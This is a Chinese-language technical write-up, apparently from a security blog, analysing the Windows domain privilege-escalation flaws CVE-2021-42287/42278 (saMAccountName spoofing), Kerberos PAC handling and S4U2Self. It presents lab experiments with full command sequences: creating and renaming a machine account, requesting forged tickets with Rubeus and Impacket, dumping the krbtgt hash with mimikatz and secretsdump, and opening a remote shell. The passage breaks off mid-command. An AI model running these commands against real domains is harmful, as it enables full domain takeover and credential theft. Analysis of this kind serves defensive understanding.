发布于2022年11月4日3年前 域内提权漏洞CVE-2021-42287与CVE-2021-42278原理分析 漏洞背景和描述2021年11月9日,微软发布11月份安全补丁更新。在该安全补丁更新中,修复了两个域内提权漏洞CVE-2021-42287/CVE-2021-42278。但是当时这两个漏洞的利用详情和POC并未公布出来,因此并未受到太多人关注。传送门:https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42278https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42287一个月后的12.10日,国外安全研究员公布了针对CVE-2021-42287/CVE-2021-42278的漏洞细节,并且exp也很快被放出来了。至此,这个最新的域内提权漏洞才受到大家的广泛关注,该漏洞被命名为saMAccountName spoofing漏洞。该漏洞允许攻击者在仅有一个普通域账号的场景下,利用该漏洞接管全域,危害极大。如下图,一条命令即可获得域控的最高权限!漏洞影响版本- 未打补丁的全版本Windows机器漏洞攻击链原理我也在第一时间复现了该漏洞,并好奇这个漏洞的原理是什么。首先我找到了微软对于这个漏洞的补丁描述.传送门:[KB5008380—Authentication updates (CVE-2021-42287)](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)其中最后一句话描述的是在安装了该补丁的更新后。在以后的Kerberos认证过程中,PAC将会被添加到所有账户的TGT认购权证中,即使是那些以前明确拒绝PAC的用户。因此我认为的是这个漏洞跟PAC有关,就跟MS14-068一样,是PAC认证过程产生的漏洞。并且我看很多exp工具直接命名为noPac,网上很多文章也说的是跟PAC有关,再结合微软对于该补丁的描述,脑中闪现的第一反应是觉得该漏洞产生的主要原因是因为攻击者在Kerberos认证过程的AS-REQ请求TGT认购权证阶段,协商拒绝PAC,导致KDC返回一张不带有PAC的TGT认购权证。而后结合CVE-2021-42278 Name impersonation漏洞,通过伪造一个与域控名字相同的机器用户,使得KDC在验证TGS-REQ的过程中,误以为请求的客户端是域控。再由于TGT认购权证中没有PAC,因此KDC在TGS-REP阶段重新生成了一个具有域控高权限的PAC在ST服务票据中,导致权限提升!这一切猜想顺理成章!但是经过后来实验和分析,发现这个是错误的!我们使用WireShark针对漏洞利用过程进行抓包,抓到如下Kerberos数据包:前两个包主要是判断目标域需不需要预认证,不需关注。我们来看第三个AS-REQ请求包,按理说,第三个包应该在协商请求中协商不带有PAC,但是我们打开该包发现,在协商请求中,include-pac参数依然是True。也就是说,这个AS-REQ请求的TGT认购权证中是带有PAC的!这与之前的猜想有出入!继续查看第五个TGS-REQ请求包,在包中发现了pA-FOR-USER字段,该字段是S4U2Self协议特有的。而S4U2Self协议我们只在委派中见过。我们好奇,为啥在TGS-REQ请求阶段使用到了S4U2Self协议呢?按照我们之前的猜想,这个阶段应该是直接使用上一步的TGT认购权证请求目标域控的ST服务票据的。但是实际抓包却不是如此,涉及到了跟委派有关的S4U2Self协议。那么,这个洞会跟委派有关系吗?带着这个疑问,我们进行了以下的分析,让我们来分析下该漏洞的原理到底是什么?漏洞核心点首先,我查看了下网上泄露的XP源代码,找到了漏洞问题的所在。通过查看网上泄露的xp源代码中关于kerberos的处理流程,我们可以清楚的看到漏洞产生的真正核心原因是在处理UserName字段时的错误,如下图代码:首先,如果找不到 UserName 的话,KDC会继续查找 UserName$ 。如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的用户。正是因为这个处理逻辑,导致了漏洞的产生!但是光有这个处理逻辑还是不够形成一个完整的攻击链。还得找到能触发这个的点,那么如何能让KDC找不到之前的用户呢?这里有两种方式:- 跨域请求:跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会走进这个处理UserName的逻辑。- 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到用户,然后走进这个处理UserName的逻辑。但是这还是不够,仅仅让KDC走进这个处理UserName的逻辑,还不能伪造高权限。因为票据中代表用户身份权限是数据块是PAC。而TGT认购权证中的PAC是根据预认证身份信息生成的,这个我们无法伪造。因此得想办法在ST服务票据中进行伪造。而正常的ST服务票据中的PAC是直接拷贝TGT认购权证中的。因此,得想办法让KDC在TGS-REP的时候重新生成PAC,而不是拷贝TGT票据中的PAC。这里也有两种方式:- S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新生成的。- 跨域无PAC的TGT票据进行TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新生成。好了,现在有了一个完整的攻击链了!接下来让我们来看看什么是PAC?以及S4U2Self请求和跨域无PAC的TGT票据的TGS请求时PAC的处理。PAC特权属性证书我们先来看看PAC是什么?PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息,例如用户RID,所属组的RID等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。PAC结构PAC的顶部结构如下:```pythontypedef unsigned long ULONG;typedef unsigned short USHORT;typedef unsigned long64 ULONG64;typedef unsigned char UCHAR;typedef struct _PACTYPE {ULONG cBuffers;ULONG Version; PAC_INFO_BUFFER Buffers[1];} PACTYPE;```这些顶部字段的定义如下:- cBuffers:包含数组缓冲区中的条目数。- Version:版本- Buffers:包含一个PAC_INFO_BUFFER结构的数组。而PAC_INFO_BUFFER结构包含了关于PAC的每个部分的信息,这部分是最重要的,结构如下:```pythontypedef struct _PAC_INFO_BUFFER {ULONG ulType;ULONG cbBufferSize;ULONG64 Offset;} PAC_INFO_BUFFER;```类型字段的定义如下:- **ulType**:包含此缓冲区中包含的数据的类型。它可能是以下之一:- - Logon Info (1)- Client Info Type(10)- - UPN DNS Info (12)- Sserver Cechksum (6)- - Privsvr Cechksum (7)- **cbBufferSize**:缓冲大小- **Offset**:缓冲偏移量如下图:PAC凭证信息LOGON INFO类型的PAC_LOGON_INFO包含Kerberos票据客户端的凭据信息。数据本身包含在一个KERB_VALIDATION_INFO结构中,该结构是由NDR编码的。NDR编码的输出被放置在LOGON INFO类型的PAC_INFO_BUFFER结构中。如下:```pythontypedef struct _KERB_VALIDATION_INFO {FILETIME Reserved0;FILETIME Reserved1;FILETIME KickOffTime;FILETIME Reserved2;FILETIME Reserved3;FILETIME Reserved4;UNICODE_STRING Reserved5;UNICODE_STRING Reserved6;UNICODE_STRING Reserved7;UNICODE_STRING Reserved8;UNICODE_STRING Reserved9;UNICODE_STRING Reserved10;USHORT Reserved11;USHORT Reserved12;ULONG UserId;ULONG PrimaryGroupId;ULONG GroupCount;[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;ULONG UserFlags;ULONG Reserved13[4];UNICODE_STRING Reserved14;UNICODE_STRING Reserved15;PSID LogonDomainId;ULONG Reserved16[2];ULONG Reserved17;ULONG Reserved18[7];ULONG SidCount;[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;PSID ResourceGroupDomainSid;ULONG ResourceGroupCount;[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;} KERB_VALIDATION_INFO;```如下图,主要还是关注以下几个字段:- Acct Name:该字段对应的值是用户sAMAccountName属性的值- Full Name:该字段对应的值是用户displayName属性的值- User RID:该字段对应的值是用户的RID,也就是用户SID的最后部分- Group RID:对于该字段,域用户的Group RID恒为513(也就是Domain Users的RID),机器用户的Group RID恒为515(也就是Domain Computers的RID)- Num RIDS:用户所属组的个数- GroupIDS:用户所属的所有组的RIDPAC Request Pre-Auth Data通常,PAC包含在从AS请求收到的每个经过预认证的票据中。然而,客户端也可以明确地请求包括或不包括PAC。这是通过发送PAC请求预审数据来完成的。```pythonKERB-PA-PAC-REQUEST ::= SEQUENCE {include-pac[0] BOOLEAN -- if TRUE, and no pac present,-- include PAC.---If FALSE, and pac-- PAC present, remove PAC}```这个字段表示是否应该包含一个PAC。如果该值为TRUE,则返回的票据中包含PAC。如果该值为FALSE,则返回的票据中不包含PAC。也就是说,客户端确实可以通过指定字段来值来要求KDC在返回的票据中是否包含PAC。正常Kerberos流程中的PAC要想理解下面这部分,首先需要熟悉Kerberos协议的整个流程。但是这里我只阐述Kerberos认证过程中与PAC有关的部分。如果想更详细系统的学习Kerberos协议的话,可以关注我马上将要出版的书籍《域渗透实战攻防》!在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。如下图是AS-REQ&AS-REP过程,可以清楚的看到,KDC的AS-REP消息中,PAC是包含在TGT认购权证中的。那么,TGT认购权证中这个PAC是如何生成的呢?KDC在收到客户端发来的AS-REQ请求后,从请求中取出cname字段,然后查询活动目录数据库,找到sAMAccountName属性为cname字段的值的用户,用该用户的身份生成一个对应的PAC。接下来,在TGS-REQ&TGS-REP请求ST服务票据的过程中,客户端带着上一步请求到的TGT认购权证请求访问指定服务的ST服务票据。KDC在验证客户端的身份后,会返回ST服务票据。如下图是TGS-REQ&TGS-REP过程,可以清楚的看到,KDC的TGS-REP消息中,PAC是包含在ST服务票据中的。那么,ST服务票据中这个PAC是如何生成的呢?KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。(但是这只是正常的TGS-REQ请求,如果是S4u2Self&S4u2Proxy请求的话,ST服务票据中的PAC是重新生成的,请看下文)这个流程我们可以从网上泄露的xp源代码中看到:当然,如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC!后续服务端收到客户端发来的ST服务票据后,会用服务密钥对其进行解密,取出PAC里面关于用户的信息生成对应权限的访问令牌,然后对比服务的ACL进行鉴权。有权限访问的话,则返回该服务。无权限访问的话,则不返回服务。以上就是正常的Kerberos认证过程中的PAC。通过下面实验一、二、三可以验证我们的这个结论。官方:[[MS-PAC\]: Privilege Attribute Certificate Data Structure](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962)S4U2Self协议为了在Kerberos协议层面对委派的支持,微软对Kerberos协议扩展了两个自协议 S4u2self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )。S4u2self 可以代表任意用户请求针对自身的ST服务票据;S4u2Proxy可以用上一步获得的ST服务票据以用户的名义请求针对其它指定服务的ST服务票据。这里我们着重来看看S4u2self协议。S4u2self 可以代表任意用户请求针对自身的ST服务票据。当用户以其他方式:如NTLM认证、基于表单的认证等方式与Web服务进行认证后,用户是无法向Web服务器提供请求该服务的ST服务票据。因而服务器也无法进一步使用S4U2Proxy协议请求访问其他服务。S4U2Self协议便是解决该问题的方案,被配置为约束性委派的服务账号能够调用S4U2Self协议向KDC申请为任意用户请求访问自身的ST服务票据。官方:[[MS-SFU\]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94)如下图是使用 S4U2Self协议请求ST服务票据。注:虽然S4U2Self协议允许服务代表用户向KDC请求一张访问自身服务的ST服务票据,但是此协议扩展不允许服务代表用户向KDC请求访问其他服务的ST服务票据。KDC收到S4u2self TGS-REQ后PAC的处理KDC收到客户端发来的TGS-REQ S4U2Self协议,在验证了客户端是否具有发起S4U2Self协议权限后,会根据S4U2Self协议中模拟的用户生成对于权限的PAC,然后放在ST服务票据中,并不会复用TGT认购权证中的PAC!官方:[KDC Receives S4U2self KRB_TGS_REQ](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c98bade9-cad1-4745-bd4d-d13926103022)跨域TGS请求通过查看网上泄露的xp源代码可以看到如下。如果请求的TGT票据没有PAC的话,如果是当前域的请求,则ST服务票据也没有PAC。如果是其他域的话,则会重新生成一个PAC!实验接下来我们做几个实验验证我们的结论。以下实验采用的是控制变量法,即每次测试环境只变化一个变量。1:使用低权限用户正常Kerberos认证访问服务如下,提供低权限普通域用户hack正确的账号密码,进行一次正常的Kerberos认证,然后请求相应的服务,看能否利用低权限hack用户访问高权限服务。```python#以域管理员身份请求正常的TGT认购权证Rubeus.exe asktgt /user:"hack" /password:"P@ss1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt#用该正常的TGT认购权证请求访问ad01.xie.com的ldap服务Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据#导出krbtgt用户的哈希mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"```如下图,用hack身份请求一个TGT认购权证,该TGT认购权证中包含PAC。接着用该包含PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据,可以看到返回了一个带有PAC的ST服务票据并导入到内存中。最后尝试访问指定高权限服务,发现失败!很正常,也在我们意料之中。我们在利用过程中使用wireshark抓包,并对kerberos认证流量的加密部分进行解密,如下图,我们首先来看AS-REP回复包中TGT认购权证中的PAC,可以看到User RID为1154、Group RID为513。TGS-REP回复包中ST服务票据中的PAC,可以看到User RID为1154、Group RID为513。而RID为1154的用户就是hack,RDI为513的组为Domain Users。这和我们的认知是一样的,ST服务票据中的PAC是直接复用的TGT认购权证,因此ST服务票据中的PAC对应的还是低权限的hack,因此无法访问高权限服务。2:使用高权限用户正常Kerberos认证访问服务如下,提供高权限域管理员用户administrator正确的账号密码,进行一次正常的Kerberos认证,然后请求相应的服务,访问高权限服务。```python#以域管理员身份请求正常的TGT认购权证Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt#用该正常的TGT认购权证请求访问ad01.xie.com的ldap服务Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据```如下图,用administrator身份请求一个TGT认购权证,该TGT认购权证中包含PAC。接着用该包含PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据,可以看到返回了一个带有PAC的ST服务票据并导入到内存中。最后尝试访问指定高权限服务,访问成功!很正常,也在我们意料之中。```python#导出krbtgt用户的哈希mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"```我们在利用过程中使用wireshark抓包,并对kerberos认证流量的加密部分进行解密,如下图,我们首先来看AS-REP回复包中TGT认购权证中的PAC,可以看到User RID为500、Group RID为513。TGS-REP回复包中ST服务票据中的PAC,可以看到User RID为500、Group RID为513。而RID为500的用户就是administrator,RDI为513的组为Domain Users。这和我们的认知是一样的,ST服务票据中的PAC是直接复用的TGT认购权证,因此ST服务票据中的PAC对应的还是高权限的administrator,因此可以访问高权限服务。3:使用高权限用户kerberos认证,TGT阶段请求不要PAC接下来,我们测试下,提供高权限域管理员administrator正确的账号密码,在正常的Kerberos流程的AS-REQ阶段,请求不带有PAC的TGT认购权证,然后请求相应的服务,看看结果如何?```python#以域管理员身份请求不带PAC的TGT认购权证Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac#用该不带PAC的TGT认购权证请求访问cifs/ad01.xie.com服务Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据```如下图,用administrator身份请求一个不带有PAC的TGT认购权证,可以看到打印出来的TGT认购权证小了好多,主要是因为少了PAC。然后用该不带PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据,可以看到返回的ST服务票据也不带有PAC,大小小了好多。此时使用这个不带PAC的ST服务票据请求访问服务,被拒绝。因为KDC不知道用户的权限。可以看到AS-REP和TGS-REP返回的票据中都没有authorization-data部分,自然也就没有PAC。这也和我们的认知是是一样的,TGT认购权证中没有PAC的话,同域请求ST服务票据中也是没有PAC的。因此,即使是使用administrator身份请求的票据,由于没有PAC代表其身份,也无法访问高权限服务!4:修改saMAccountName属性正常TGS-REQ不带PAC首先创建一个机器用户machine$,然后将其saMAccountName属性设置为域控机器名AD01。接着用该帐户请求一张不带有PAC的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用该不带有PAC的TGT认购权证请求这个访问域控AD01指定的服务,看是否能访问。```python#创建机器用户machine$python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug##将机器用户machine的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#请求不带有PAC的TGT认购权证Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac#将机器用户machine的saMAccountName属性恢复为machine$python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#用这个不带有PAC的TGT认购权证,请求ldap/ad01.xie.com的ST服务票据Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步不带PAC的TGT认购权证#使用mimikatz的dcsync功能看能否成功访问mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"```首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为AD01。然后用该机器用户请求一张不带有PAC的TGT认购权证,如下图,没有PAC大小小了很多。接着将机器用户machine$的saMAccountName属性还原。然后用该不带PAC的TGT认购权证请求访问ad01.xie.com的ldap服务。此时还是返回不带有PAC的ST服务票据。即使将该不带PAC的ST服务票据导入内存中,也无法访问指定服务。这其实是最初猜想的攻击方式,也是网上很多文章说的漏洞原理。但是事实却不是这样。仔细想想,只要TGT票据中不带有PAC,不管是用什么用户请求的票据,ST服务票据中也不会带有PAC。因此也就没有权限访问任何服务!5:修改saMAccountName属性正常TGS-REQ带PAC首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用带有PAC的TGT票据请求这个访问域控ad01指定的服务,看是否能访问。```python#创建机器用户machine$python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug##将机器用户machine的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#请求带有PAC的正常的TGT认购权证Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt#将机器用户machine的saMAccountName属性恢复为machine$python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#用这个带有PAC的正常的TGT认购权证,请求ldap/ad01.xie.com的ST服务票据Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步带PAC的TGT认购权证#使用mimikatz的dcsync功能看能否成功访问mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"```首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为AD01。然后用该机器用户请求一张带有PAC的正常的TGT认购权证。接着将机器用户machine$的saMAccountName属性还原。然后用这个带PAC的正常的TGT认购权证请求访问ad01.xie.com的ldap服务。此时返回带有PAC的正常的ST服务票据。将该带PAC的ST服务票据导入内存中,也无法访问指定服务。我们在利用过程中使用wireshark抓包,并对kerberos认证流量的加密部分进行解密。我们发现,在TGT认购权证和ST服务票据中的PAC是一致的,User RID为1159、Group RID为515。而RID为1159的用户就是machine机器用户,RDI为515的组为Domain Computers。这确实与我们的认知是一样的,在AS-REP阶段生成的PAC是从AS-REQ中取出的cname字段,然后查询活动目录数据库,找到sAMAccountName属性为cname字段的值的用户,用该用户的身份生成一个对应的PAC。此时生成的是machine$机器用户的PAC。后来在TGS-REP阶段的PAC是直接复制的AS-REP阶段的PAC。因此,不管machine$机器用户的saMAccountName属性如何修改,ST服务票据中的PAC依然是machine$机器用户的!6:S4U2Self带PAC(exp)这是域内利用真正的攻击过程!首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。```python#创建机器用户machine$python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug##将机器用户machine的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#请求带有PAC的正常的TGT认购权证Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt#将机器用户machine的saMAccountName属性恢复为machine$python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#用这个带有PAC的正常的TGT认购权证,利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步带PAC的TGT认购权证#使用mimikatz的dcsync功能看能否成功访问mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"```首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为ad01。然后用该机器用户请求一张带有PAC的正常的TGT认购权证。接着将机器用户machine$的saMAccountName属性还原。然后用这个带PAC的正常的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,并且将票据导入内存中可以看到执行高权限操作成功!这是真正的域内攻击利用过程。当发起S4u2Self请求是,KDC会重新生成PAC。而此时我们修改了机器用户的saMAccountName属性,导致KDC找不到用户,因此会查找AD01$,此时找到了域控。域控利用S4u2Self协议模拟域管理员访问自身的SPN服务,这是正常的。因此返回一张具有管理员权限访问域控服务的ST服务票据。7:S4U2Self不带PAC首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。然后请求一张不带有PAC的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用该不带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,看看结果如何!```python#创建机器用户machine$python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug##将机器用户machine的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#请求不带有PAC的TGT认购权证Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac#将机器用户machine的saMAccountName属性恢复为machine$python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#用这个不带有PAC的TGT认购权证,利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步带PAC的TGT认购权证#使用mimikatz的dcsync功能看能否成功访问mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"```首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为ad01。然后用该机器用户请求一张不带有PAC的TGT认购权证。接着将机器用户machine$的saMAccountName属性还原。然后用这个不带PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,可以看到报错KRB_ERR_GENERIC!!这主要是因为S4u2Self阶段KDC无法验证客户端的身份。因为KDC无法从TGT认购权证中取出PAC,因此返回KRB_ERR_GENERIC错误。8:S4U2Self带PAC不还原saMAccountName属性首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。此时不将该机器用户的saMAccountName属性还原,然后用该不带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。```python#新建机器用户machine,密码为rootpython3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR#将机器用户machine的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#以machine用户身份请求TGT认购权证,用户名为saMAccountName属性值python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:root#导入TGT认购权证export KRB5CCNAME=ad01.ccache#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self```如下图,在请求ST服务票据的过程中提示如下错误。```python[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)```这也在意料之中,主要是因为如果不还原saMAccountName属性的话,KDC在S4U2Self阶段就能正常找到AD01用户。而此时cifs/ad01.xie.com是域控AD01$的SPN。因此使用AD01账号模拟administrator身份请求一个域控AD01$的SPN是肯定报错的,AD01用户只能利用S4U2Self协议模拟任意用户访问自身的SPN!如下可以看到,机器用户只能利用S4U2Self协议访问自身的SPN服务。```python#win10机器用户模拟任意用户访问自身的SPN cifs/win10.xie.compython3 getST.py -spn cifs/win10.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self#win10机器用户模拟默认任意用户访问其他的SPN,如cifs/mail.xie.compython3 getST.py -spn cifs/mail.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self```如下,域内机器win10$可以利用S4U2Self协议模拟任意用户访问自身的SPN cifs/win10.xie.com,但是无法模拟任意用户访问其他的SPN,如cifs/mail.xie.com,可以看到报错是一样的!9:攻击域内其他机器首先创建一个机器用户machine$,然后将其saMAccountName属性为win10。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用该带有PAC的TGT认购权证利用S4u2Self协议请求访问cifs/win10.xie.com的ST服务票据。```python#创建机器用户machine$python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug##将机器用户machine的saMAccountName属性修改为win10python3 renameMachine.py -current-name 'machine$' -new-name 'win10' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#请求带有PAC的正常的TGT认购权证python3 getTGT.py -dc-ip AD01.xie.com xie/win10:root#导入TGT认购权证export KRB5CCNAME=win10.ccache#将机器用户machine的saMAccountName属性恢复为machine$python3 renameMachine.py -current-name 'win10' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234#用这个带有PAC的正常的TGT认购权证,利用S4u2Self协议请求访问cifs/win10.xie.com的ST服务票据。python3 getST.py -spn cifs/win10.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self#导入ST服务票据export KRB5CCNAME=administrator.ccache#远程连接win10python3 smbexec.py -no-pass -k win10.xie.com```首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为MAIL。然后用该机器用户请求一张带有PAC的正常的TGT认购权证接着将机器用户machine$的saMAccountName属性还原。然后用这个带PAC的正常的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,并且将票据导入内存中然后远程连接win10,可以看到连接成功!从这个实验我们可以看到,KDC并不会校验发起S4u2Self请求的账号是否具有权限发起S4u2Self,其实这也是saMAccountName spoofing漏洞能成功的原因。因为原则上来说,KDC应该校验发起S4u2Self请求的账号是否配置了约束性委派或者基于资源的约束性委派,而KDC却是在S4u2Proxy里进行校验的。10:攻击域用户可能很多人会问了,既然针对机器用户可以修改saMAccountName属性来假冒域控。那么,针对普通域用户能否修改saMAccountName属性来假冒域控从而发起攻击呢?答案是可以的!但是在实际场景中,默认情况下,只有域管理员等域内高权限用户有权修改普通域用户的saMAccountName属性,因此针对域用户的攻击在实际场景中意义不大。我们可以做个小实验来验证这一点。如下有普通域用户hack,密码为P@ss1234。以下是针对普通域用户hack来发起攻击,在修改saMAccountName属性时使用的是域管理员权限去修改!```python#将普通域用户hack的saMAccountName属性修改为AD01python3 renameMachine.py -current-name 'hack' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234#以hack用户身份请求TGT认购权证,用户名为saMAccountName属性值python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:P@ss1234#导入TGT认购权证export KRB5CCNAME=ad01.ccache#将hack用户的saMAccountName属性恢复为hackpython3 renameMachine.py -current-name 'AD01' -new-name 'hack' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务python3 getST.py -spn cifs/ad01.xie.com xie/[email protected] -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self#导入ST服务票据export KRB5CCNAME=administrator.ccache#导出域内krbtgt用户哈希python3 secretsdump.py ad01.xie.com -k -no-pass -just-dc-user krbtgt```如下图,可以看到针对普通域用户hack也可以发起类似的攻击!11:跨域攻击这里有三个域,一个是xie.com父域,另外两个是beijing.xie.com和shanghai.xie.com子域,如下:- 根域:xie.com- 根域域控:AD.xie.com- 子域:shanghai.xie.com- 子域域控:SH-AD.shanghai.xie.com- 子域普通域用户:sh_hack P@ss1234首先在根域xie.com上,执行如下命令将域管理员administrator的altSecurityIdentities设置为Kerberos:[email protected]。```pythonImport-Module .\powerview.ps1Set-DomainObject administrator -domain xie.com -set @{'altSecurityIdentities'='Kerberos:[email protected]'}Get-DomainObject administrator -domain xie.com -Properties * | select 